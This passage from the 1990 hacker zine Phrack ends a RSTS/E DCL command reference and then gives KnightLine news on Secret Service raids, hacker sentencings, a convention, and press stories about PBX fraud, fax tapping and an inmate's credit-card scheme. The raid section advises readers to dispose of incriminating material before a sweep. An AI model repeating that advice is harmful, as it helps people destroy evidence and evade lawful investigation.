/PROTECTION=n

/[NO]REPLACE

See also: EDIT

*DEALLOCATE

The DEALLOCATE command releases a device that you reserved for private use, so that other users may have access to it. (However, DEALLOCATE does not deassign any logical name you may have set up for the device.)

Format

DEALLOCATE device‑name[:]

Command Qualifiers Defaults

/ALL none

Prompts

Device: device‑name[:]

See also: ALLOCATE

*DEASSIGN

The DEASSIGN command cancels logical name assignments you made with the ASSIGN or ALLOCATE commands.

Format

DEASSIGN [logical‑name[:]]

Command Qualifiers Defaults

/ALL

Prompts

Logical name: logical‑name[:]

See also: ASSIGN, DEALLOCATE

*DELETE/ENTRY

The DELETE/ENTRY command deletes jobs from the queue that have not yet begun processing or jobs that are currently being processed.

Format

DELETE/ENTRY=job‑number [queue‑name[:]]

Command Qualifiers Defaults

/BATCH

Prompts

Queue: queue‑name[:]

If you do not specify a queue name, LP0: is assumed.

See also: PRINT, SUBMIT, DELETE/JOB, SET QUEUE/ENTRY

*DELETE/JOB

The DELETE/JOB command uses the name of a job to cancel a request to the print or batch queue.

Format

DELETE/JOB=job‑name [queue‑name[:]]

Command Qualifiers Defaults

/BATCH

For example, if you decide after you make your print request that you do not want a hard copy of the file after all, you can use the DELETE/JOB command to withdraw your request. (If the file is printed before you enter the DELETE/JOB command, your request is too late. However, it works if your file is in the middle of printing: the file stops printing.)

See also: PRINT, SUBMIT, DELETE/ENTRY, SET QUEUE/JOB

*DELETE

The DELETE command permanently removes a file from your account.

Format

DELETE [node::]file‑spec[,...]

Command Qualifiers Defaults

/BEFORE=date

/CREATED /CREATED

/[NO]LOG /LOG

/MODIFIED

/[NO]QUERY /NOQUERY

/SINCE=date

Prompts

File: [node::]file‑spec[,...]

*DIBOL

The DIBOL command compiles a DIBOL‑11 program. You can include up to six source file specifications to be compiled into a single object file with the DIBOL compiler.

Format

DIBOL filespec[,...]

File Qualifiers Defaults

/LIST[=listfile] /NOLIST

/NOLIST

/OBJECT[=objfile] /OBJECT

/NOOBJECT

/WARNINGS /WARNINGS

/NOWARNINGS

See also: LINK

*DIFFERENCES

The DIFFERENCES command compares two files and lists any sections of text that differ between the two files.

Format

DIFFERENCES input‑file‑spec compare‑file‑spec

Command Qualifiers Defaults

/IGNORE=BLANKLINES

/MATCH=size /MATCH=3 /MAXIMUM_DIFFERENCES=n

/OUTPUT[=file‑spec]

Prompts:

File 1: input‑file‑spec

File 2: compare‑file‑spec

*DIRECTORY

The DIRECTORY command displays information about files.

Use the TYPE command to display the contents of individual files.

Format

DIRECTORY [node::][file‑spec[,...]]

Command Qualifiers Defaults

/BEFORE=date

/BRIEF /BRIEF

/CREATED /CREATED

/DATE[=CREATED] /NODATE

[=MODIFIED]

[=ALL]

/NODATE

/FULL /BRIEF

/MODIFIED /CREATED

/OUTPUT=outfile

/[NO]PROTECTION /PROTECTION

/SINCE=date

/SIZE[=ALLOCATION] /SIZE=USED

[=USED]

/NOSIZE

/TOTAL

*DISMOUNT

Releases a disk or tape previously accessed with a MOUNT command. You issue this command before you take the drive off line, or before you physically dismount the tape or disk.

The DISMOUNT command deallocates the device if it was allocated to you. (On some systems, dismounting a disk requires privileges.) You cannot DISMOUNT a device if there are open files on it. If you try, RSTS/E displays the message:

?Account or device in use

Format

DISMOUNT device‑name[:] [label]

Prompts

Device: device‑name[:]

See also: MOUNT, DEALLOCATE

*EDIT

The EDIT command starts the EDT editor program, which lets

you create and edit text files.

Format

EDIT file‑spec

Command Qualifiers Defaults

/COMMAND[=file‑spec] /COMMAND=EDTINI.EDT /NOCOMMAND /COMMAND=EDTINI.EDT /JOURNAL[=file‑spec] /JOURNAL

/NOJOURNAL /JOURNAL

/OUTPUT[=outfile] /OUTPUT

/NOOUTPUT /OUTPUT

/[NO]READ_ONLY /NOREAD_ONLY

/[NO]RECOVER /NORECOVER

/EDT /EDT

Prompts

File: file‑spec

*FORTRAN

The FORTRAN command compiles up to six FORTRAN source files into

a single object file.

There are three FORTRAN compilers available on RSTS/E:

Command Invokes

FORTRAN/FOR FORTRAN‑IV

FORTRAN/F4P FORTRAN‑IV‑PLUS

FORTRAN/F77 FORTRAN‑77

FORTRAN/F77 is the default, unless your system manager has changed it.

Qualifiers which you may use with FORTRAN‑IV are as follows:

Format

FORTRAN/FOR file‑spec[,...]

Command Qualifiers

/CODE:EAE

EIS

FIS

THR

/[NO]D_LINES

/[NO]I4

/[NO]LINENUMBERS

/LIST[=listfile]

/NOLIST

/[NO]MACHINE_CODE

/OBJECT[=objfile]

/NOOBJECT

/[NO]OPTIMIZE

/[NO]WARNINGS

Qualifiers which you may use with FORTRAN‑IV‑PLUS or FORTRAN‑77 are as follows:

Format

FORTRAN/F4P file‑spec[,...] or FORTRAN/F77 file‑spec[,...]

Command Qualifiers Defaults

/[NO]CHECK /CHECK

/CONTINUATIONS=n /CONTINUATIONS=19 /[NO]D_LINES /NOD_LINES

/[NO]I4 /NO14

/LIST[=listfile] /NOLIST

/NOLIST

/[NO]MACHINE_CODE /NOMACHINE_CODE /OBJECT[=objfile] /OBJECT

/NOOBJECT

/[NO]WARNINGS /WARNINGS

/WORK_FILES=n /WORK_FILES=2

Prompts

File: file‑spec[,...]

See also: LINK

*HELP

Help can be obtained on a particular topic by typing:

HELP topic subtopic subsubtopic

A topic can have the following format:

1) An alphanumeric string (e.g. a command name, option, etc.)

2) Same preceded by a "/"

3) The match‑all symbol "*"

Example:

HELP COPY

The RSTS/E DCL User's Guide contains a complete description of all DCL commands supported on RSTS/E.

*INITIALIZE

Deletes any data on a tape and writes a new label.

The INITIALIZE command allocates the tape drive if it is not already allocated.

Format

INITIALIZE device‑name[:] [label]

Qualifiers

/FORMAT=ANSI

/FORMAT=DOS

/DENSITY=nnn

Prompts

Device: magtape[:]

Label: [label]

See also: MOUNT, DISMOUNT

*LINK

The LINK command links together object files to produce an executable program. You can also specify an overlay structure

for the program.

Format

LINK file‑spec[,...]

Language Qualifiers Comments

Only one of the following may be specified:

/BASIC or /BP2 BASIC‑PLUS‑2

/COBOL or /C81 COBOL‑81

/DIBOL

/F4P FORTRAN‑IV‑PLUS

/F77 FORTRAN‑77

/FORTRAN FORTRAN‑IV

/RT11 MACRO/RT11

If no language qualifier is specified, /BASIC (for BASIC‑PLUS‑2) is assumed, unless your system manager has changed the default.

Additional

Command Qualifiers Defaults

/EXECUTABLE[=file‑spec] /EXECUTABLE

/NOEXECUTABLE

/[NO]FMS /NOFMS

/MAP[=file‑spec] /NOMAP

/NOMAP

/STRUCTURE

/[NO]DMS /NODMS

Prompts

Files: file‑spec

If /STRUCTURE was specified, you will be

prompted for the names of the input files

and overlay structure to use, e.g.,

ROOT files: file‑spec[,...]

Root PSECTs: [PSECT‑name[,...]]

Overlay: [file‑spec[,...][+]]

You can specify /STRUCTURE if the program is written in BASIC‑PLUS‑2, DIBOL, FORTRAN‑IV‑PLUS, or FORTRAN‑77. You

cannot specify /STRUCTURE if the program is written in

COBOL, FORTRAN‑IV, or MACRO/RT11.

See also: COBOL, DIBOL, BASIC, MACRO, FORTRAN

*LOGOUT

The LOGOUT command ends your session at the terminal.

Format

[LO]GOUT

Command Qualifiers

/BRIEF

/FULL (default)

If you include the /BRIEF qualifier after the LOGOUT command, RSTS/E ends your session at the terminal without displaying a message. If you include the /FULL, or simply type LOGOUT, RSTS/E displays information about the status of your account.

*MACRO

Invokes a MACRO‑11 assembler. You can include up to six file specifications with the MACRO command.

On RSTS/E you can use either MACRO/RT11 or MACRO/RSX11. The default is MACRO/RSX11 unless your system manager has changed it.

Format

MACRO/RT11 filespec[,...]

OR

MACRO/RSX11 filespec[,...]

Command Qualifiers

/LIST[=listfile]

/NOLIST

/OBJECT[=objfile]

/NOOBJECT

File Qualifiers

/LIBRARY

See also: LINK

*MOUNT

The MOUNT command prepares a tape or disk for processing by system commands or user programs. (You do not always have to MOUNT a tape before using it.) On some systems, mounting a disk requires privilege.

Format

MOUNT device‑name[:] [label]

Command Qualifiers Defaults

/[NO]WRITE /WRITE

Qualifiers for Tapes Defaults

/FORMAT=ANSI

/FORMAT=DOS

/FORMAT=FOREIGN

/DENSITY=nnn

Prompts

Device: device‑name[:]

Label: volume‑label

See also: DISMOUNT, INITIALIZE, ALLOCATE

*PRINT

The PRINT command queues a file for printing, either on a default system printer or on a device you specify. A queue is the list of files to be printed.

Format

PRINT file‑spec[,...]

Command Qualifiers Defaults

/AFTER=date‑time

/FORMS=type /FORMS=NORMAL

/JOB_COUNT=n /JOB_COUNT=1

/NAME=job‑name

/PRIORITY=n

/QUEUE=queue‑name[:] /QUEUE=LP0:

File Qualifiers Defaults

/COPIES=n /COPIES=1

/[NO]DELETE /NODELETE

Prompts

File: file‑spec[,...]

See also: DELETE/JOB, SET QUEUE/JOB

*RENAME

The RENAME command changes the file name or file type of an existing file.

Format

RENAME old‑file‑spec[,...] new‑file‑spec

Qualifiers Defaults

/[NO]LOG /LOG

/[NO]QUERY /NOQUERY

/[NO]REPLACE /NOREPLACE

/PROTECTION=n /PROTECTION=60

Prompts

From: input‑file‑spec[,...]

To: output‑file‑spec

See also: COPY, DELETE

*REQUEST

The REQUEST command displays a message at a system operator's terminal.

Format

REQUEST message‑text

When you use the REQUEST command to send a message to an operator, the message is displayed at the operator services console.

*RUN

The RUN command runs an executable file.

Format

RUN file‑spec

Prompts

Program: file‑spec

*SET HOST

The SET HOST command lets you log into another computer from the system you first logged into.

Format

SET HOST node[::]

Prompts

Node: node‑name

*SET PROTECTION

The SET PROTECTION command specifies the protection code of a file. You assign a protection code to determine who else, if anyone, can have access to your files.

Format

SET PROTECTION[=n] [file‑spec,...]

Qualifiers

/DEFAULT

/[NO]QUERY

/[NO]LOG

Prompts

Protection code: n

Files: file‑spec

If you use SET PROTECTION/DEFAULT, RSTS/E assigns the protection code you specify to all files you create during the current session. However, do not include a file specification when you use

the /DEFAULT qualifier.

*SET QUEUE/ENTRY

The SET QUEUE/ENTRY command changes the status of a file that is queued for printing or for batch job execution but is not yet processed by the system.

Format

SET QUEUE/ENTRY=sequence‑number [queue‑name[:]]

Additional

Command Qualifiers Defaults

/AFTER=date‑time none

/BATCH

/FORMS=type

/HOLD

/JOB_COUNT=n

/PRIORITY=n

/RELEASE

If you do not specify a queue name, LP0: is assumed.

See also: DELETE/ENTRY, SET QUEUE/JOB

*SET QUEUE/JOB

The SET QUEUE/JOB command uses the name of a job to modify the status of a file that is queued for a printer or batch queue.

Format

SET QUEUE/JOB=job‑name [queue‑name[:]]

Command Qualifiers Defaults

/AFTER=date‑time None.

/BATCH

/FORMS=type

/HOLD

/JOB_COUNT=n

/PRIORITY=n

/RELEASE

When you submit a batch job or issue the PRINT command, the job is assigned a name, according to the first input file specification or the name you specify. You can use this name to modify the status of the job in the queue.

See also: DELETE/JOB, SET QUEUE/ENTRY

*SET TERMINAL

The SET TERMINAL command lets you specify the characteristics of your terminal. Privileged users can also set the characteristics of other terminals.

Format

SET TERMINAL [device‑name[:]]

Command Qualifiers Defaults

/[NO]BROADCAST /NOBROADCAST

/CRFILL[=n] /CRFILL=0

/[NO]ECHO /ECHO

/[NO]HARDCOPY

/LA34

/LA36

/LA38

/LA120

/[NO]LOWERCASE

/PARITY=EVEN /NOPARITY

ODD

/NOPARITY

/[NO]SCOPE

/SPEED=n

/SPEED=(i,o)

/[NO]TAB /NOTAB

/[NO]TTSYNC /TTSYNC

/[NO]UPPERCASE

/VT05

/VT52

/VT55

/VT100

/WIDTH=n

See also: SHOW TERMINAL

*SHOW DEVICES

The SHOW DEVICES command displays the status of devices

that have disks mounted on them or that are allocated to jobs.

See also: MOUNT, ALLOCATE

*SHOW QUEUE

The SHOW/QUEUE command displays a list of entries in the printer and/or batch job queues.

Format

SHOW QUEUE [queue‑name[:]]

Command Qualifiers

/BATCH

/BRIEF

Queue: queue‑name[:]

To display the queue of your system's default printer, type:

$ SHOW QUEUE

If there are no files in the queue, RSTS/E prints a message similar to:

LP0 queue is empty

*SHOW NETWORK

The SHOW NETWORK command displays the systems you can connect

to by the network. If the network is operational, RSTS/E displays the names of different nodes that your system can access.

Format

SHOW NETWORK

See also: SET HOST

*SHOW SYSTEM

The SHOW SYSTEM command displays information about use of the system's resources. Specifically, it displays information about the status of all jobs, attached and detached, in use on the system.

Format

SHOW SYSTEM

The only difference between SHOW SYSTEM and SHOW USERS is that the SHOW SYSTEM command includes information about the status of detached jobs.

See also: SHOW USERS

*SHOW TERMINAL

The SHOW TERMINAL command displays the characteristics of your terminal. Most of these characteristics can be changed with a corresponding option of the SET TERMINAL command. (Users with privileged accounts can display the characteristics of other terminals.)

Format

SHOW TERMINAL [device‑name[:]]

See also: SET TERMINAL

*SHOW USERS

The SHOW USERS command displays information about the status of attached jobs on the system.

Format

SHOW USERS

See also: SHOW SYSTEM

*SUBMIT

The SUBMIT command enters one or more control files for batch processing.

Format

SUBMIT file‑spec[,...]

Command Qualifiers Defaults

/AFTER=date‑time

/NAME=job‑name

/PRIORITY=n /PRIORITY=128

/QUEUE=quename

File Qualifiers Defaults

/[NO]DELETE /NODELETE

Prompts

File: file‑spec[,...]

See also: DELETE/JOB, SET QUEUE/JOB

*TYPE

The TYPE command displays the contents of a text file (as opposed to a binary or temporary file).

Format

TYPE [node::]file‑spec[,...]

Command Qualifiers Defaults

/OUTPUT=file‑spec /OUTPUT=KB:

/[NO]QUERY /NOQUERY

Prompts

File: file‑spec[,...]

To temporarily halt the display of a file, use <CTRL/S>. To resume output where it was interrupted, use <CTRL/Q>. (On a VT100 terminal you can also press the NO SCROLL key to stop and restart output.)

To suppress the display but continue command processing, use <CTRL/O>. If you press <CTRL/O> again before processing is completed, output resumes at the current point in command processing.

To stop command execution entirely, press <CTRL/C>. The use of <CTRL/C> returns you to DCL command level.

See also: COPY

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hope that this file brought back memories for you guys. It did for me! 8^]

Crimson Death

Knight Line I Part 1

==Phrack Classic==

Volume Three, Issue 32, File #10 of 12

KL ^*^ KL ^*^ KL ^*^ KL ^*^ KL

K N I G H T L I N E

Issue 001 / Part I

17th of November, 1990

Written, compiled,

and edited by Doc Holiday

KL ^*^ KL ^*^ KL ^*^ KL ^*^ KL

‑‑

Welcome to the 5th year of Phrack and the first edition of KnightLine!

‑‑

SunDevil II: The witch‑hunt continues..

I hate to start out on such a sour note, but: Inside sources have reported an enormous amount of Secret Service activity in major U.S. cities. Furthermore, sources claim that new investigations are underway for the prosecution of all Legion Of Doom members.

The investigations have "turned up" new evidence that could bring about the sequel to SunDevil.

This information comes from reliable sources and I suggest that all precautions should be taken to protect yourselves from a raid.

Some good advice to follow:

A> Refrain from using "codes", or other means to commit toll fraud.

B> Further yourselves from those who are overwhelmed with desire to tell you their recent conquests of computer systems.

C> Refrain from downloading or storing stolen Unix source code.

D> Get rid of anything that might incriminate you or your peers.

E> Stay cool, calm, and collected.

The Conflict has submitted a file to KL about what to do IF YOU ARE raided.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Simple Guidelines To Follow If You Encounter Law Enforcement Agents In An Unfriendly Situation

The current state of the Computer Underground is an extreme turmoil. The recent threat of another series of witchhunt raids has put many people into a state of paranoia, and rightfully so. Noone needs to deal with all the bullshit associated with a bust. I am offering a few guidelines to follow if you encounter a precarious situation instigated by a law enforcement agent; of course, it is up to you to decide what you want to do. Of the people whom I have spoken with, these will be some of the best steps to follow if you receive an unexpected visit.

Probably the first thing you would want to do if you receive an unfriendly visit from Joe Fed is to READ the damn warrant. Find out why you have been chosen, and what they are looking for. Also, remember that if they have only a search and seizure warrant, they are warranted only to confiscate items on your premises; however, if they are serving a subpoena, they may take what they need, on or off your premises. So, in essence, the clean‑house preventive measure may or may not be useful to you.

An important thing to do when Agent Foley (or one of his lesser evil counterparts) comes knocking on your door is to cooperate fully. Drop a lot of "Yes sir"/"No sir" answers; respond politely. You're in no position to be a smart ass, and being friendly surely can not hurt you.

Another important thing to remember, although it is almost opposite of the aforementioned, has to do with what to say. In essence, do not say a fucking thing if you are questioned! Remember, anything you say or do can and WILL be used AGAINST you in a court of law. Simply reply, "I can not answer any questions without counsel", or "I first must contact my attorney." You need not answer a damn thing they ask of you without an attorney present, and it would most probably be very detrimental to do so.

This hint parallels the previous one. No matter what you do, do not reply to any question with "I don't know anything", or any simple derivation of that phrase. If you do, and you are indicted, you will be reamed in court. The presence of that statement could greatly damage your defense, unless you are conditionally mental or something.

In essence, those are all you should need. What I have outlined is very simple, but logical. You need to keep a level head at least while they are on site with you; get pissed off/psycho later, after they leave. If you are currently an active member of the Computer Underground, you may wish to lose anything that is important to you, at least temporarily. Why? Well, the analogy I was given follows that: if you were suspected of racketeering, the feds could execute a search and seizure on your property. If they can prove by 51% that ANY of the confiscated material COULD have been used in your suspected racketeering, it is forfeited (i.e. you lost it, for good). The forfeiture stands whether or not you are indicted or convicted! So, you would be entirely screwed.

All of the aforementioned steps are important. Those are all I really have to offer. I suggest that you get clean before the sweep occurs, and that you stay clean until after the sweep clears. Exercise extreme caution. Keep your head high, and keep your back to the wall (otherwise, it would be quite possible to find a knife lodged in it). Stay safe, and good luck!

The Conflict

11‑13‑1990

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

***UPDATE.11/16/90: 3 Hackers are DOOMED to prison

Frank Darden (Leftist), Adam Grant (Urvile), and Robert Riggs (Prophet) were sentenced Friday. Robert, who was currently on probation before the incident was sentenced to 21 months in a federal prison. Frank and Adam were received sentences of 14 months. All three were ordered to pay $233,000 in restitution.

Kent Alexander, an assistant U.S. attorney who prosecuted the case, was not available for comment.

‑‑

This is not good for the Underground at all. I'm sure the government will use the outcome of this to their advantage in speeding up the momentum of prosecuting hackers. In their eyes, everyone is in LOD.

Dale Boll, a special agent of the Secret Service in Washington, said "Telephone companies are preparing for a retaliation from the hacking underworld and are beefing up security at all ends of the wire."

I can't verify or validate these rumors of retaliation. But I can say if you are going to do some sort of retaliation, I would think twice‑‑ It could make things worse. This is not a "game" we are playing. No, it's reality. And I'm sured Frank, Adam, and Rob are feeling it right now.

‑‑

A few words from Erik Bloodaxe on the sentences:

"I'm not surprised in the least at the sentencing. However, I'm sure the three of them are. I wish I could ask them if all the singing was worth‑while in the long‑run. How can anyone hope to make a deal with federal officals, who with in the past year, resorted to such lies and deceit. Everyday I think all this will be over and I can get on with my life and possibly use my own computer to write a term paper without fear of it's confiscation due to who or what I know or have seen or done in the past. Perhaps this will end eventually, but until then Mr. Cook will play on the peoples inherient fear of technology and exploit everyone in his past on his personal crusade for his own twisted view of justus. Are you or have you ever been a member of the Legion of Doom? Tell me, do you believe in reincarnation Senator McCarthy?"

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

"The weirdest part of my dream was... when I woke up."

And now.... .. ANNOUNCING:

The first annual,

X M A S C O N '90

Where: Houston, TX

When: December 28th‑30th 1990 Who: All Hackers, Journalists, and Federal Agents

Well, it's getting closer.. XmasCon is next month and we plan on having the biggest gathering of Hackers & Feds since SummerCon '88!

This event was going to be private until word got out. A journalist (unnamed) found out about the private event and decided to make it public news in the magazine for which he writes. Well, after seeing the words: "XMASCON" in a magazine with less readers than Phrack, we decided to announce it ourselves. So, here it is‑‑ Your OFFICIAL invitation to the gathering that should replace the painful memories of SummerCon'90 (SCon'90? What do you mean? there was a SummerCon this year? HA. It surprised me too).

Hotel Information:

La Quinta Inn

6 North Belt East

(713) 447‑6888

(Located next to Intercontinental Airport)

Fees: $44.00+TAX a night (single) $56.00+TAX a night (double)

Government Discount (With ID) $49.00+TAX a night (single) $37.00+TAX a night (double)

1‑800‑531‑5900

Call for reservations in advance. Please tell the registar that you are with XmasCon'90. Everyone is welcome to attend, and I do mean EVERYONE.

Take care & see you at HoHoCon!

‑‑DH

________________________________________

F R O M T H E W I R E

HEADLINE Thirteen Arrested For Breaking Into University Computer Byline: PAT MILTON

DATE 08/16/90

SOURCE The Associated Press (ASP)

Origin: FARMINGDALE, N.Y.

(Copyright 1990. The Associated Press. All Rights Reserved.)

* FARMINGDALE, N.Y. (AP) _ Thirteen computer hackers ranging in age from 14 to 32 were charged Thursday with breaking into the mainframe computer at a university in Washington state and causing costly damage to the files. One of the suspects is a 14‑year‑old high school student from New York City who is also a suspect in last November's break‑in of an Air Force computer in the Pentagon, according to Senior Investigator Donald Delaney of the New York State Police. The student, who used the name "Zod" when he signed onto the computer, is charged with breaking into the computer at the City University of Bellevue in Washington in May by figuring out the toll‑free telephone number that gave students and faculty legitimate access to the system.

"Zod," who was not identified because he is a minor, maintained control over the system by setting up his own program where others could illegally enter the system by answering 11 questions he set up.

More than 40 hackers across the country are believed to have gained illegal access to the system since May, Delaney said. As a result of the break‑in, university files were altered and deleted, and consultants must be hired to reprogram the system, Delaney said. In addition to the arrests, search warrants were executed at 17 locations on Thursday where officers confiscated $50,000 worth of computers and related equipment. Three more arrests were expected. Two of the 13 arrested were from Long Island and the rest were from the New York boroughs of Brooklyn, Queens, Manhattan and the Bronx. Farmingdale is on Long Island. The 13 were charged with computer tampering, computer trespass, unauthorized use of a computer and theft of services. The juveniles will be charged with juvenile delinquency.

The investigation began two months ago after a technician at the university noticed "error message" flashing on the computer screen, indicating someone had entered the system illegally. The suspects were traced through subpoenaed telephone records. * Many hackers break into private computer systems for the pure satisfaction of cracking the code, and also to obtain sometimes costly computer programs, Delaney said.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

________________________________________

HEADLINE US Sprint helps business customers battle PBX fraud

DATE 09/25/90

SOURCE BUSINESS WIRE (BWR)

KANSAS CITY, Mo.‑‑(BUSINESS WIRE)‑‑US Sprint Wednesday announced its corporate security department will help the company's business customers battle PBX fraud. After producing significant results in fighting code abuse US Sprint is directing their efforts to help their business customers in identifying and preventing computer hackers from infiltrating their business customer's owned or leased telephone switching equipment. ``Unauthorized use of our long‑distance service has been greatly reduced through increased detection, prevention, investigation and prosecution efforts,'' said Bob Fox, US Sprint vice president corporate security.

``Now rather than attacking a long‑distance carrier's network in * an attempt to steal authorization codes, computer hackers are attacking private companies' and governmental agencies' Private Branch Exchanges (PBX's). Computer hackers break into private telephone switches in an attempt to reoriginate long‑distance calls, which are then billed to the businesses. Fox says a business may not discover its telephone system has been ``hacked'' until their long‑distance bill is received and then it may be too late. Help is on the way however. US Sprint has started a customer support program to help the company's business customers to combat the situation. Del Wnorowski, US Sprint senior vice president‑general counsel said, ``The new program is customers about the potential for telecommunications fraud committed through their owned or leasesd switching equipment and to assist them in preventing this type of illegal activity.'' US Sprint is a unit of United Telecommunications Inc., a diversified telecommunications company headquartered in Kansas City.

CONTACT:

US Sprint, Kansas City.

Phil Hermanson, 816/276‑6268

________________________________________

HEADLINE Fax pirates find it easy to intercept documents

DATE 09/10/90

SOURCE Toronto Star (TOR)

Edition: METRO

Section: BUSINESS TODAY

Page: B4

(Copyright The Toronto Star)

‑‑‑ Fax pirates find it easy to intercept documents ‑‑‑

TOKYO (Special) ‑ Considering that several years ago enthusiastic hackers began breaking into computer systems worldwide to steal valuable information, it could only have been a matter of time before the same problem surfaced for facsimile machines. Now, officials of Nippon Telegraph and Telephone Public Corp. report evidence that this has been happening, not only in their own country but around the globe. Apparently, anyone with just a little knowledge of electronics can tap fax messages being sent from one of these relatively unsophisticated machines to another, with the duplication printed out on the pirate's facsimile machine. Both the sender and the receiver of the faxed document remain completely unaware that they have been bugged. "I shudder to think of some of the business documents which only recently moved over my company's fax machines being examined by our competitors," one Tokyo executive nervously admits when informed that there has been a proliferation of tapping. "You don't think the tax people are doing it too?" he then asks in mock terror.

It is certainly a frightening thought. The technique involves making a secret connection with the telephone line of the party whose fax messages are to be intercepted. That is all too easy to accomplish, according to officials of Nippon Telegraph and Telephone. Apart from a few special cases, very little has been done to guard against outside tapping. As a result, one of the most vulnerable areas ‑ and one most businessmen and women now should begin to feel unsure of ‑ is the privacy or security of the facsimile machine. Technical attention to this problem is in order.

"The idea that somewhere out there is 'Conan the Hacker' who is reading my fax correspondence as readily as I do sends chills up my spine," says one American businesswoman here. "There could be a lot of trouble for me and up to now I didn't even realize it was possible." It is not only possible, but easy. Ordinary components available at any electronics store can be used. With these in hand, tappers can rig up a connection that sets off a warning signal, without the sender or receiver realizing it, whenever a fax message passes along the telephone line. Considering the growing volume of highly confidential material being sent and received via fax equipment, the resulting leaks can be considered highly dangerous to the security of corporate information.

In Japan alone it is estimated that there are 3.7 million machines in operation. Given the nature of these tapping operations, it would appear to be extremely difficult for companies to determine whether they are suffering serious damage from this process. In addition, it is clear that a great many corporations have yet to realize the extent of the threat to their privacy. "If more business executives recognized what is going on," suggests one Japanese security specialist, "they would move now to halt the opportunity for leaks and thus protect their corporations from this type of violation." He went on to note that third parties mentioned in fax messages also can be badly hurt by these interceptions. Fortunately, manufacturers are producing machines capable of preventing hackers from tapping into the system. In some cases, newly developed fax machines use code systems to defend information transmitted. But these tap‑proof facsimile machines are not yet in general use. Makers of the new "protected" facsimile machines predict that once the business communities around the globe become aware of the threat they will promptly place orders for replacements and junk their old equipment as a simple matter of damage control. The market could prove extremely large. Those few leak‑proof fax machines now in operation depend upon scrambling messages, so that even if a pirate taps into the telephone line leading to the unit, the intercepted message is impossible to read.

Nippon Telegraph and Telephone, for example, claims that it would require a hacker using a large computer more than 200,000 years to crack the codes used in its own pirate‑proof fax. This ultimately may prove to be something of an exaggeration. Although in Japan and many other countries this kind of tapping clearly is illegal, it remains nearly impossible to track down electronic eavesdroppers. As far as is known, none of these snoopers have been identified and dragged into court. Security specialists in Japan claim that there may be thousands of fax hackers who get their kicks out of intercepting and reading other people's business mail, with few using the information for illegal purposes or actively conveying it to third parties.

________________________________________

HEADLINE Inmate behind scams

Byline: JOHN SEMIEN

DATE 09/11/90

SOURCE THE BATON ROUGE SUNDAY ADVOCATE (BATR) Section: NEWS

Page: 1‑B

(Copyright 1989 by Capitol City Press)

There wasn't much inmate Lawrence "Danny" Faires couldn't buy, sell or steal with a telephone call from his jail cell in Miami when his million‑dollar fraud ring ran afoul of the U.S. Secret Service in 1989. That was the year Faires used a portable computer with an automatic dialing program to "hack out" access codes to the long‑distance lines of Telco Communications Inc., a Baton Rouge‑based phone company. Telco officials were alarmed when they spotted 1,500 attempts at gaining unauthorized access to the company's long‑distance service in a single 12‑hour period in January 1989.

Convinced that an organized fraud scheme was at work, Telco called Resident Agent Phil Robertson, who heads the service's Baton Rouge office.

"They told me they felt they were being attacked by hackers who had discovered their long‑distance access lines and who were hacking out personal identification numbers belonging to their customers," Robertson said Monday.

"You are billed based on your pin (access) number. The computer hacker had located several of their 800 numbers and had entered digits hoping it would be a valid pin number." Using computer records, Robertson said agents were able to isolate 6,000 fraudulent Telco calls that were made during a three‑week period of January. More than a third of those calls were traced to a cell block in the Dade County Interim Detention Center that has been home for Faires for the past four years. Faires is awaiting trial in Miami on first‑degree murder charges. "As it turned out, all of the inmates in this cell block are awaiting trial," Robertson said. "One of the inmates, Danny Faires, had a computer in his cell attached to a modem, and he turned out to be the hacker."

"All he had to do was plug his modem in, let it make the calls and check his printout for the numbers that came back good," the agent said. In checking out the other bogus Telco calls, agents uncovered a massive credit card scam. A federal grand jury in Milwaukee, Wis., linked both scams to Faires and alleged associates of the inmate across the country in a Feb. 27 indictment of six people on federal wire and access device fraud. Fairies, an unindicted co‑conspirator in the case, last week said he has spent the past three years applying his previous experience as a computer systems analyst and programmer to a lap‑top, portable computer provided by one of the prison guards. He describes the results as "doing business with America" at the expense of large credit card and telecommunications companies. Faires said he attacked Telco's system by chance after receiving one of the company's access numbers in a group of assorted access codes acquired by his associates. "It was just their misfortune that we became aware that they had a system there that was easily accessible," Faires said in a telephone interview.

"I was given their access number, along with Sprint and MCI, I guess virtually every company in America we got." Faires said he used the stolen, long distance phone time and other stolen credit card numbers to access networks with credit information from major department stores and mail order businesses. "You come up to the door and the door is locked," he said. "You have to buy access. Well, I bought access with credit cards from another system. I had access codes that we had hacked. "I could pull your entire credit profile up and just pick the credit card numbers that you still had some credit in them and how many dollars you had left in your account and I would spend that," Faires said. "My justification was, I don't know the creditor and he had no knowledge of it so he won't have to pay it." However, Faires said he now thinks of the trouble the illegal use of the credit cards has caused his victims in their efforts to straighten out damaged credit records. "I remember I took a course once that was called computer morality about the moral ethics to which we're morally bound," he said. "It's like a locksmith. Even though he can open a lock, he's morally bound not to if it's not his lock. I violated that."

The vulnerability of credit card companies to hackers is the subject of an unpublished book that Faires said he has written. Faires said his book includes tips on how businesses and others can safeguard access to their credit, but added that there may be no way to be completely safe from hackers. "It's untitled as yet," he said about the book. "We're leaving that open. I'm waiting to see if they electrocute me here, then I'm going to put something about "I could buy it all but couldn't pay the electric bill.' " [This guy is a real toon ‑DH]

While Faires has not been formally charged in connection with the scheme, last week he said he was sure charges will be forthcoming because "there is no question about my involvement." The other six alleged conspirators are John Carl Berger and George A. Hart Jr. of Milwaukee, Wis.; Charles Robert McFall and Victor Reyes of San Antonio, Texas; Steven Michael Skender Jr. of West Allis, Wis.; and Angelo Bruno Bregantini of Marshville, N.C. All six men are charged with conspiracy to commit access device and wire fraud. Berger, Skender, Reyes and Bregantini also are charged separately with multiple counts of wire fraud.

